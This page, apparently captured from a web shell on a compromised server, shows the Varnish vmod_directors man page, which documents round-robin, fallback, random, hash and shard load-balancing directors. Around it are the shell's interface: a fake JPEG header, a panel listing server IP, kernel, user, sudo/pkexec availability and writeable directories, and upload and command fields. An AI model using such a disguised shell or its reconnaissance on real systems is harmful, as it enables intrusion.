JFIFHHC     C  " 5????! ??? JFIF    >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C     p!ranha?
Server IP : 104.21.46.92  /  Your IP : 104.23.197.222
Web Server : Apache/2.4.51 (Unix) OpenSSL/1.1.1n
System : Linux ip-172-26-8-243 4.19.0-27-cloud-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : daemon ( 1)
PHP Version : 7.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/bitnami/varnish/share/man/man3/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /opt/bitnami/varnish/share/man/man3/vmod_directors.3
.\" Man page generated from reStructuredText.
.
.TH VMOD_DIRECTORS 3 "" "" ""
.SH NAME
vmod_directors \- Varnish Directors Module
.
.nr rst2man-indent-level 0
.
.de1 rstReportMargin
\\$1 \\n[an-margin]
level \\n[rst2man-indent-level]
level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
-
\\n[rst2man-indent0]
\\n[rst2man-indent1]
\\n[rst2man-indent2]
..
.de1 INDENT
.\" .rstReportMargin pre:
. RS \\$1
. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
. nr rst2man-indent-level +1
.\" .rstReportMargin post:
..
.de UNINDENT
. RE
.\" indent \\n[an-margin]
.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
.nr rst2man-indent-level -1
.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
..
.\" 
.
.\" NB:  This file is machine generated, DO NOT EDIT!
.
.\" 
.
.\" Edit ./vmod_directors.vcc and run make instead
.
.\" 
.
.SH SYNOPSIS
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
import directors [as name] [from "path"]

new xround_robin = directors.round_robin()

    VOID xround_robin.add_backend(BACKEND)

    VOID xround_robin.remove_backend(BACKEND)

    BACKEND xround_robin.backend()

new xfallback = directors.fallback(BOOL sticky)

    VOID xfallback.add_backend(BACKEND)

    VOID xfallback.remove_backend(BACKEND)

    BACKEND xfallback.backend()

new xrandom = directors.random()

    VOID xrandom.add_backend(BACKEND, REAL)

    VOID xrandom.remove_backend(BACKEND)

    BACKEND xrandom.backend()

new xhash = directors.hash()

    VOID xhash.add_backend(BACKEND, REAL)

    VOID xhash.remove_backend(BACKEND)

    BACKEND xhash.backend(STRING)

new xshard = directors.shard()

    VOID xshard.set_warmup(REAL probability)

    VOID xshard.set_rampup(DURATION duration)

    VOID xshard.associate(BLOB param)

    BOOL xshard.add_backend(BACKEND backend, [STRING ident], [DURATION rampup], [REAL weight])

    BOOL xshard.remove_backend([BACKEND backend], [STRING ident])

    BOOL xshard.clear()

    BOOL xshard.reconfigure(INT replicas)

    INT xshard.key(STRING)

    BACKEND xshard.backend([ENUM by], [INT key], [BLOB key_blob], [INT alt], [REAL warmup], [BOOL rampup], [ENUM healthy], [BLOB param], [ENUM resolve])

    VOID xshard.debug(INT)

new xshard_param = directors.shard_param()

    VOID xshard_param.clear()

    VOID xshard_param.set([ENUM by], [INT key], [BLOB key_blob], [INT alt], [REAL warmup], [BOOL rampup], [ENUM healthy])

    STRING xshard_param.get_by()

    INT xshard_param.get_key()

    INT xshard_param.get_alt()

    REAL xshard_param.get_warmup()

    BOOL xshard_param.get_rampup()

    STRING xshard_param.get_healthy()

    BLOB xshard_param.use()

BACKEND lookup(STRING)
.ft P
.fi
.UNINDENT
.UNINDENT
.SH DESCRIPTION
.sp
\fIvmod_directors\fP enables backend load balancing in Varnish.
.sp
The module implements load balancing techniques, and also serves as an
example on how one could extend the load balancing capabilities of
Varnish.
.sp
To enable load balancing you must import this vmod (directors).
.sp
Then you define your backends. Once you have the backends declared you
can add them to a director. This happens in executed VCL code. If you
want to emulate the previous behavior of Varnish 3.0 you can just
initialize the directors in \fBvcl_init{}\fP, like this:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
sub vcl_init {
    new vdir = directors.round_robin();
    vdir.add_backend(backend1);
    vdir.add_backend(backend2);
}
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
As you can see there is nothing keeping you from manipulating the
directors elsewhere in VCL. So, you could have VCL code that would add
more backends to a director when a certain URL is called.
.sp
Note that directors can use other directors as backends.
.SS new xround_robin = directors.round_robin()
.sp
Create a round robin director.
.sp
This director will pick backends in a round robin fashion.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
new vdir = directors.round_robin();
.ft P
.fi
.UNINDENT
.UNINDENT
.SS VOID xround_robin.add_backend(BACKEND)
.sp
Add a backend to the round\-robin director.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
vdir.add_backend(backend1);
.ft P
.fi
.UNINDENT
.UNINDENT
.SS VOID xround_robin.remove_backend(BACKEND)
.sp
Remove a backend from the round\-robin director.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
vdir.remove_backend(backend1);
.ft P
.fi
.UNINDENT
.UNINDENT
.SS BACKEND xround_robin.backend()
.sp
Pick a backend from the director.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
set req.backend_hint = vdir.backend();
.ft P
.fi
.UNINDENT
.UNINDENT
.SS new xfallback = directors.fallback(BOOL sticky=0)
.sp
Create a fallback director.
.sp
A fallback director will try each of the added backends in turn, and
return the first one that is healthy.
.sp
If \fIsticky\fP is set to \fBtrue\fP, the director will keep using the
healthy backend, even if a higher\-priority backend becomes
available. Once the whole backend list is exhausted, it\(aqll start over
at the beginning.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
new vdir = directors.fallback();
.ft P
.fi
.UNINDENT
.UNINDENT
.SS VOID xfallback.add_backend(BACKEND)
.sp
Add a backend to the director.
.sp
Note that the order in which this is done matters for the fallback
director.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
vdir.add_backend(backend1);
.ft P
.fi
.UNINDENT
.UNINDENT
.SS VOID xfallback.remove_backend(BACKEND)
.sp
Remove a backend from the director.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
vdir.remove_backend(backend1);
.ft P
.fi
.UNINDENT
.UNINDENT
.SS BACKEND xfallback.backend()
.sp
Pick a backend from the director.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
set req.backend_hint = vdir.backend();
.ft P
.fi
.UNINDENT
.UNINDENT
.SS new xrandom = directors.random()
.sp
Create a random backend director.
.sp
The random director distributes load over the backends using a
weighted random probability distribution.
.sp
The "testable" random generator in varnishd is used, which enables
deterministic tests to be run (See: \fBd00004.vtc\fP).
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
new vdir = directors.random();
.ft P
.fi
.UNINDENT
.UNINDENT
.SS VOID xrandom.add_backend(BACKEND, REAL)
.sp
Add a backend to the director with a given weight.
.sp
Each backend will receive approximately 100 * (weight /
(sum(all_added_weights))) per cent of the traffic sent to this
director.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
# 2/3 to backend1, 1/3 to backend2.
vdir.add_backend(backend1, 10.0);
vdir.add_backend(backend2, 5.0);
.ft P
.fi
.UNINDENT
.UNINDENT
.SS VOID xrandom.remove_backend(BACKEND)
.sp
Remove a backend from the director.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
vdir.remove_backend(backend1);
.ft P
.fi
.UNINDENT
.UNINDENT
.SS BACKEND xrandom.backend()
.sp
Pick a backend from the director.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
set req.backend_hint = vdir.backend();
.ft P
.fi
.UNINDENT
.UNINDENT
.SS new xhash = directors.hash()
.sp
Create a hashing backend director.
.sp
The director chooses the backend server by computing a hash/digest of
the string given to \fI\%xhash.backend()\fP\&.
.sp
Commonly used with \fBclient.ip\fP or a session cookie to get sticky
sessions.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
new vdir = directors.hash();
.ft P
.fi
.UNINDENT
.UNINDENT
.SS VOID xhash.add_backend(BACKEND, REAL)
.sp
Add a backend to the director with a certain weight.
.sp
Weight is used as in the random director. Recommended value is 1.0
unless you have special needs.
.sp
Example:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
vdir.add_backend(backend1, 1.0);
.ft P
.fi
.UNINDENT
.UNINDENT
.SS VOID xhash.remove_backend(BACKEND)
.sp
Remove a backend from the director.
.INDENT 0.0
.TP
.B Example::
vdir.remove_backend(backend1);
.UNINDENT
.SS BACKEND xhash.backend(STRING)
.sp
Pick a backend from the backend director.
.sp
Use the string or list of strings provided to pick the backend.
.INDENT 0.0
.TP
.B Example::
# pick a backend based on the cookie header from the client
set req.backend_hint = vdir.backend(req.http.cookie);
.UNINDENT
.SS new xshard = directors.shard()
.sp
Create a shard director.
.sp
Note that the shard director needs to be configured using at least one
\fI\%xshard.add_backend()\fP call(s) \fBfollowed by a\fP
\fI\%xshard.reconfigure()\fP \fBcall\fP before it can hand out
backends.
.sp
_Note_ that due to various restrictions (documented below), it is
recommended to use the shard director on the backend side.
.SS Introduction
.sp
The shard director selects backends by a key, which can be provided
directly or derived from strings. For the same key, the shard director
will always return the same backend, unless the backend configuration
or health state changes. Conversely, for differing keys, the shard
director will likely choose different backends. In the default
configuration, unhealthy backends are not selected.
.sp
The shard director resembles the hash director, but its main advantage
is that, when the backend configuration or health states change, the
association of keys to backends remains as stable as possible.
.sp
In addition, the rampup and warmup features can help to further
improve user\-perceived response times.
.SS Sharding
.sp
This basic technique allows for numerous applications like optimizing
backend server cache efficiency, Varnish clustering or persisting
sessions to servers without keeping any state, and, in particular,
without the need to synchronize state between nodes of a cluster of
Varnish servers:
.INDENT 0.0
.IP \(bu 2
Many applications use caches for data objects, so, in a cluster of
application servers, requesting similar objects from the same server
may help to optimize efficiency of such caches.
.sp
For example, sharding by URL or some \fIid\fP component of the url has
been shown to drastically improve the efficiency of many content
management systems.
.IP \(bu 2
As special case of the previous example, in clusters of Varnish
servers without additional request distribution logic, each cache
will need store all hot objects, so the effective cache size is
approximately the smallest cache size of any server in the cluster.
.sp
Sharding allows to segregate objects within the cluster such that
each object is only cached on one of the servers (or on one primary
and one backup, on a primary for long and others for short
etc...). Effectively, this will lead to a cache size in the order of
the sum of all individual caches, with the potential to drastically
increase efficiency (scales by the number of servers).
.IP \(bu 2
Another application is to implement persistence of backend requests,
such that all requests sharing a certain criterion (such as an IP
address or session ID) get forwarded to the same backend server.
.UNINDENT
.sp
When used with clusters of varnish servers, the shard director will,
if otherwise configured equally, make the same decision on all
servers. In other words, requests sharing a common criterion used as
the shard key will be balanced onto the same backend server(s) no
matter which Varnish server handles the request.
.sp
The drawbacks are:
.INDENT 0.0
.IP \(bu 2
the distribution of requests depends on the number of requests per
key and the uniformity of the distribution of key values. In short,
while this technique may lead to much better efficiency overall, it
may also lead to less good load balancing for specific cases.
.IP \(bu 2
When a backend server becomes unavailable, every persistence
technique has to reselect a new backend server, but this technique
will also switch back to the preferred server once it becomes
healthy again, so when used for persistence, it is generally less
stable compared to stateful techniques (which would continue to use
a selected server for as long as possible (or dictated by a TTL)).
.UNINDENT
.SS Method
.sp
When \fI\%xshard.reconfigure()\fP is called, a consistent
hashing circular data structure gets built from the last 32 bits of
SHA256 hash values of \fI<ident>\fP\fI<n>\fP (default \fIident\fP being the
backend name) for each backend and for a running number \fIn\fP from 1 to
\fIreplicas\fP\&. Hashing creates the seemingly random order for placement
of backends on the consistent hashing ring. When
\fI\%xshard.add_backend()\fP was called with a \fIweight\fP argument,
\fIreplicas\fP is scaled by that weight to add proportionally more copies
of the that backend on the ring.
.sp
When \fI\%xshard.backend()\fP is called, a load balancing key
gets generated unless provided. The smallest hash value in the circle
is looked up that is larger than the key (searching clockwise and
wrapping around as necessary). The backend for this hash value is the
preferred backend for the given key.
.sp
If a healthy backend is requested, the search is continued linearly on
the ring as long as backends found are unhealthy or all backends have
been checked. The order of these "alternative backends" on the ring is
likely to differ for different keys. Alternative backends can also be
selected explicitly.
.sp
On consistent hashing see:
.INDENT 0.0
.IP \(bu 2
\fI\%http://www8.org/w8\-papers/2a\-webserver/caching/paper2.html\fP
.IP \(bu 2
\fI\%http://www.audioscrobbler.net/development/ketama/\fP
.IP \(bu 2
svn://svn.audioscrobbler.net/misc/ketama
.IP \(bu 2
\fI\%http://en.wikipedia.org/wiki/Consistent_hashing\fP
.UNINDENT
.SS Error Reporting
.sp
Failing methods should report errors to VSL with the Error tag, so
when configuring the shard director, you are advised to check:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
varnishlog \-I Error:^shard
.ft P
.fi
.UNINDENT
.UNINDENT
.SS VOID xshard.set_warmup(REAL probability=0.0)
.sp
Set the default warmup probability. See the \fIwarmup\fP parameter of
\fI\%xshard.backend()\fP\&. If \fIprobability\fP is 0.0 (default),
warmup is disabled.
.SS VOID xshard.set_rampup(DURATION duration=0)
.sp
Set the default rampup duration. See \fIrampup\fP parameter of
\fI\%xshard.backend()\fP\&. If \fIduration\fP is 0 (default), rampup
is disabled.
.SS VOID xshard.associate(BLOB param=0)
.sp
Associate a default \fI\%directors.shard_param()\fP object or clear an
association.
.sp
The value of the \fIparam\fP argument must be a call to the
\fI\%xshard_param.use()\fP method. No argument clears the
association.
.sp
The association can be changed per backend request using the \fIparam\fP
argument of \fI\%xshard.backend()\fP\&.
.SS BOOL xshard.add_backend(BACKEND backend, [STRING ident], [DURATION rampup], [REAL weight])
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
BOOL xshard.add_backend(
      BACKEND backend,
      [STRING ident],
      [DURATION rampup],
      [REAL weight]
)
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
Add a backend \fIbackend\fP to the director.
.sp
\fIident\fP: Optionally specify an identification string for this backend,
which will be hashed by \fI\%xshard.reconfigure()\fP to
construct the consistent hashing ring. The identification string
defaults to the backend name.
.sp
\fIident\fP allows to add multiple instances of the same backend.
.sp
\fIrampup\fP: Optionally specify a specific rampup time for this
backend. Otherwise, the per\-director rampup time is used (see
\fI\%xshard.set_rampup()\fP).
.sp
\fIweight\fP: Optionally specify a weight to scale the
\fI\%xshard.reconfigure()\fP \fIreplicas\fP parameter. \fIweight\fP is limited to
at least 1. Values above 10 probably do not make much sense. The
effect of \fIweight\fP is also capped such that the total number of
replicas does not exceed \fIUINT32_MAX\fP\&.
.sp
NOTE: Backend changes need to be finalized with
\fI\%xshard.reconfigure()\fP and are only supported on one
shard director at a time.
.SS BOOL xshard.remove_backend([BACKEND backend], [STRING ident])
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
BOOL xshard.remove_backend(
      [BACKEND backend=0],
      [STRING ident=0]
)
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
Remove backend(s) from the director. Either \fIbackend\fP or \fIident\fP must
be specified. \fIident\fP removes a specific instance. If \fIbackend\fP is
given without \fIident\fP, all instances of this backend are removed.
.sp
NOTE: Backend changes need to be finalized with
\fI\%xshard.reconfigure()\fP and are only supported on one
shard director at a time.
.SS BOOL xshard.clear()
.sp
Remove all backends from the director.
.sp
NOTE: Backend changes need to be finalized with
\fI\%xshard.reconfigure()\fP and are only supported on one
shard director at a time.
.SS BOOL xshard.reconfigure(INT replicas=67)
.sp
Reconfigure the consistent hashing ring to reflect backend changes.
.sp
This method must be called at least once before the director can be
used.
.SS INT xshard.key(STRING)
.sp
Convenience method to generate a sharding key for use with the \fIkey\fP
argument to the \fI\%xshard.backend()\fP method by hashing the
given string with SHA256.
.sp
To generate sharding keys using other hashes, use a custom vmod like
\fI\%vmod blobdigest\fP with the \fIkey_blob\fP argument of the
\fI\%xshard.backend()\fP method.
.SS BACKEND xshard.backend([ENUM by], [INT key], [BLOB key_blob], [INT alt], [REAL warmup], [BOOL rampup], [ENUM healthy], [BLOB param], [ENUM resolve])
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
BACKEND xshard.backend(
      [ENUM {HASH, URL, KEY, BLOB} by=HASH],
      [INT key],
      [BLOB key_blob],
      [INT alt=0],
      [REAL warmup=\-1],
      [BOOL rampup=1],
      [ENUM {CHOSEN, IGNORE, ALL} healthy=CHOSEN],
      [BLOB param],
      [ENUM {NOW, LAZY} resolve]
)
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
Lookup a backend on the consistent hashing ring.
.sp
This documentation uses the notion of an order of backends for a
particular shard key. This order is deterministic but seemingly random
as determined by the consistent hashing algorithm and is likely to
differ for different keys, depending on the number of backends and the
number of replicas. In particular, the backend order referred to here
is _not_ the order given when backends are added.
.INDENT 0.0
.IP \(bu 2
\fIby\fP how to determine the sharding key
.INDENT 2.0
.IP \(bu 2
\fBHASH\fP:
.INDENT 2.0
.IP \(bu 2
when called in backend context and in \fBvcl_pipe {}\fP: Use the
varnish hash value as set by \fBvcl_hash{}\fP
.IP \(bu 2
when called in client context other than \fBvcl_pipe {}\fP: hash
\fBreq.url\fP
.UNINDENT
.IP \(bu 2
\fBURL\fP: hash req.url / bereq.url
.IP \(bu 2
\fBKEY\fP: use the \fIkey\fP argument
.IP \(bu 2
\fBBLOB\fP: use the \fIkey_blob\fP argument
.UNINDENT
.IP \(bu 2
\fIkey\fP lookup key with \fBby=KEY\fP
.sp
the \fI\%xshard.key()\fP method may come handy to generate a
sharding key from custom strings.
.IP \(bu 2
\fIkey_blob\fP lookup key with \fBby=BLOB\fP
.sp
Currently, this uses the first 4 bytes from the given blob in
network byte order (big endian), left\-padded with zeros for blobs
smaller than 4 bytes.
.IP \(bu 2
\fIalt\fP alternative backend selection
.sp
Select the \fIalt\fP\-th alternative backend for the given \fIkey\fP\&.
.sp
This is particularly useful for retries / restarts due to backend
errors: By setting \fBalt=req.restarts\fP or \fBalt=bereq.retries\fP with
healthy=ALL, another server gets selected.
.sp
The rampup and warmup features are only active for \fBalt==0\fP
.IP \(bu 2
\fIrampup\fP slow start for servers which just went healthy
.sp
If \fBalt==0\fP and the chosen backend is in its rampup period, with a
probability proportional to the fraction of time since the backup
became healthy to the rampup period, return the next alternative
backend, unless this is also in its rampup period.
.sp
The default rampup interval can be set per shard director using the
\fI\%xshard.set_rampup()\fP method or specifically per
backend with the \fI\%xshard.add_backend()\fP method.
.IP \(bu 2
\fIwarmup\fP probabilistic alternative server selection
.sp
possible values: \-1, 0..1
.sp
\fB\-1\fP: use the warmup probability from the director definition
.sp
Only used for \fBalt==0\fP: Sets the ratio of requests (0.0 to 1.0)
that goes to the next alternate backend to warm it up when the
preferred backend is healthy. Not active if any of the preferred or
alternative backend are in rampup.
.sp
\fBwarmup=0.5\fP is a convenient way to spread the load for each key
over two backends under normal operating conditions.
.IP \(bu 2
\fIhealthy\fP
.INDENT 2.0
.IP \(bu 2
CHOSEN: Return a healthy backend if possible.
.sp
For \fBalt==0\fP, return the first healthy backend or none.
.sp
For \fBalt > 0\fP, ignore the health state of backends skipped for
alternative backend selection, then return the next healthy
backend. If this does not exist, return the last healthy backend
of those skipped or none.
.IP \(bu 2
IGNORE: Completely ignore backend health state
.sp
Just return the first or \fIalt\fP\-th alternative backend, ignoring
health state, \fIrampup\fP and \fIwarmup\fP\&.
.IP \(bu 2
ALL: Check health state also for alternative backend selection
.sp
For \fBalt > 0\fP, return the \fIalt\fP\-th alternative backend of all
those healthy, the last healthy backend found or none.
.UNINDENT
.IP \(bu 2
\fIresolve\fP
.sp
default: \fBLAZY\fP in \fBvcl_init{}\fP, \fBNOW\fP otherwise
.INDENT 2.0
.IP \(bu 2
\fBNOW\fP: look up a backend and return it.
.sp
Can not be used in \fBvcl_init{}\fP\&.
.IP \(bu 2
\fBLAZY\fP: return an instance of this director for later backend resolution.
.sp
\fBLAZY\fP mode is required for referencing shard director instances,
for example as backends for other directors (director layering).
.sp
In \fBvcl_init{}\fP and on the client side, \fBLAZY\fP mode can not be
used with any other argument.
.sp
On the backend side and in \fBvcl_pipe {}\fP, parameters from
arguments or an associated parameter set affect the shard director
instance for the backend request irrespective of where it is
referenced.
.UNINDENT
.IP \(bu 2
\fIparam\fP
.sp
Use or associate a parameter set. The value of the \fIparam\fP argument
must be a call to the \fI\%xshard_param.use()\fP method.
.sp
default: as set by \fI\%xshard.associate()\fP or unset.
.INDENT 2.0
.IP \(bu 2
for \fBresolve=NOW\fP take parameter defaults from the
\fI\%directors.shard_param()\fP parameter set
.IP \(bu 2
for \fBresolve=LAZY\fP associate the \fI\%directors.shard_param()\fP
parameter set for this backend request
.sp
Implementation notes for use of parameter sets with
\fBresolve=LAZY\fP:
.INDENT 2.0
.IP \(bu 2
A \fIparam\fP argument remains associated and any changes to the
associated parameter set affect the sharding decision once the
director resolves to an actual backend.
.IP \(bu 2
If other parameter arguments are also given, they have
preference and are kept even if the parameter set given by the
\fIparam\fP argument is subsequently changed within the same backend
request.
.IP \(bu 2
Each call to \fI\%xshard.backend()\fP overrides any
previous call.
.UNINDENT
.UNINDENT
.UNINDENT
.SS VOID xshard.debug(INT)
.sp
\fIintentionally undocumented\fP
.SS new xshard_param = directors.shard_param()
.sp
Create a shard parameter set.
.sp
A parameter set allows for re\-use of \fI\%xshard.backend()\fP
arguments across many shard director instances and simplifies advanced
use cases (e.g. shard director with custom parameters layered below
other directors).
.sp
Parameter sets have two scopes:
.INDENT 0.0
.IP \(bu 2
per\-VCL scope defined in \fBvcl_init{}\fP
.IP \(bu 2
per backend request scope
.UNINDENT
.sp
The per\-VCL scope defines defaults for the per backend scope. Any
changes to a parameter set in backend context and in \fBvcl_pipe {}\fP
only affect the respective backend request.
.sp
Parameter sets can not be used in client context except for
\fBvcl_pipe {}\fP\&.
.sp
The following example is a typical use case: A parameter set is
associated with several directors. Director choice happens on the
client side and parameters are changed on the backend side to
implement retries on alternative backends:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
sub vcl_init {
  new shard_param = directors.shard_param();

  new dir_A = directors.shard();
  dir_A.add_backend(...);
  dir_A.reconfigure(shard_param);
  dir_A.associate(shard_param.use()); # <\-\- !

  new dir_B = directors.shard();
  dir_B.add_backend(...);
  dir_B.reconfigure(shard_param);
  dir_B.associate(shard_param.use()); # <\-\- !
}

sub vcl_recv {
  if (...) {
    set req.backend_hint = dir_A.backend(resolve=LAZY);
  } else {
    set req.backend_hint = dir_B.backend(resolve=LAZY);
  }
}

sub vcl_backend_fetch {
  # changes dir_A and dir_B behaviour
  shard_param.set(alt=bereq.retries);
}
.ft P
.fi
.UNINDENT
.UNINDENT
.SS VOID xshard_param.clear()
.sp
Reset the parameter set to default values as documented for
\fI\%xshard.backend()\fP\&.
.INDENT 0.0
.IP \(bu 2
in \fBvcl_init{}\fP, resets the parameter set default for this VCL in
.IP \(bu 2
backend context and in \fBvcl_pipe {}\fP, resets the parameter set for
this backend request to the VCL defaults
.UNINDENT
.sp
This method may not be used in client context other than \fBvcl_pipe {}\fP\&.
.SS VOID xshard_param.set([ENUM by], [INT key], [BLOB key_blob], [INT alt], [REAL warmup], [BOOL rampup], [ENUM healthy])
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
VOID xshard_param.set(
      [ENUM {HASH, URL, KEY, BLOB} by],
      [INT key],
      [BLOB key_blob],
      [INT alt],
      [REAL warmup],
      [BOOL rampup],
      [ENUM {CHOSEN, IGNORE, ALL} healthy]
)
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
Change the given parameters of a parameter set as documented for
\fI\%xshard.backend()\fP\&.
.INDENT 0.0
.IP \(bu 2
in \fBvcl_init{}\fP, changes the parameter set default for this VCL
.IP \(bu 2
in backend context and in \fBvcl_pipe {}\fP, changes the parameter set
for this backend request, keeping the defaults set for this VCL for
unspecified arguments.
.UNINDENT
.sp
This method may not be used in client context other than \fBvcl_pipe {}\fP\&.
.SS STRING xshard_param.get_by()
.sp
Get a string representation of the \fIby\fP enum argument which denotes
how a shard director using this parameter object would derive the
shard key. See \fI\%xshard.backend()\fP\&.
.SS INT xshard_param.get_key()
.sp
Get the key which a shard director using this parameter object would
use. See \fI\%xshard.backend()\fP\&.
.SS INT xshard_param.get_alt()
.sp
Get the \fIalt\fP parameter which a shard director using this parameter
object would use. See \fI\%xshard.backend()\fP\&.
.SS REAL xshard_param.get_warmup()
.sp
Get the \fIwarmup\fP parameter which a shard director using this parameter
object would use. See \fI\%xshard.backend()\fP\&.
.SS BOOL xshard_param.get_rampup()
.sp
Get the \fIrampup\fP parameter which a shard director using this parameter
object would use. See \fI\%xshard.backend()\fP\&.
.SS STRING xshard_param.get_healthy()
.sp
Get a string representation of the \fIhealthy\fP enum argument which a
shard director using this parameter object would use. See
\fI\%xshard.backend()\fP\&.
.SS BLOB xshard_param.use()
.sp
This method may only be used in backend context and in \fBvcl_pipe {}\fP\&.
.sp
For use with the \fIparam\fP argument of \fI\%xshard.backend()\fP
to associate this shard parameter set with a shard director.
.SS BACKEND lookup(STRING)
.sp
Lookup a backend by its name.
.sp
This function can only be used from \fBvcl_init{}\fP and  \fBvcl_fini{}\fP\&.
.SH ACKNOWLEDGEMENTS
.sp
Development of a previous version of the shard director was partly
sponsored by Deutsche Telekom AG \- Products & Innovation.
.sp
Development of a previous version of the shard director was partly
sponsored by BILD GmbH & Co KG.
.SH COPYRIGHT
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
This document is licensed under the same licence as Varnish
itself. See LICENCE for details.

Copyright (c) 2013\-2015 Varnish Software AS
Copyright 2009\-2018 UPLEX \- Nils Goroll Systemoptimierung
All rights reserved.

Authors: Poul\-Henning Kamp <phk@FreeBSD.org>
         Julian Wiesener <jw@uplex.de>
         Nils Goroll <slink@uplex.de>
         Geoffrey Simmons <geoff@uplex.de>

SPDX\-License\-Identifier: BSD\-2\-Clause

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
   notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
   notice, this list of conditions and the following disclaimer in the
   documentation and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS \(ga\(gaAS IS\(aq\(aq AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED.  IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
.ft P
.fi
.UNINDENT
.UNINDENT
.\" Generated by docutils manpage writer.
.
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 20 2021 18:06:13
root / root
0755
vmod_blob.3
17.832 KB
January 20 2021 17:51:11
root / root
0644
vmod_cookie.3
7.595 KB
January 20 2021 17:51:11
root / root
0644
vmod_directors.3
28.597 KB
January 20 2021 17:51:11
root / root
0644
vmod_proxy.3
5.13 KB
January 20 2021 17:51:11
root / root
0644
vmod_purge.3
4.497 KB
January 20 2021 17:51:11
root / root
0644
vmod_querystring.3
8.514 KB
January 20 2021 17:51:15
root / root
0644
vmod_std.3
24.972 KB
January 20 2021 17:51:11
root / root
0644
vmod_unix.3
4.479 KB
January 20 2021 17:51:11
root / root
0644
vmod_vtc.3
8.344 KB
January 20 2021 17:51:11
root / root
0644
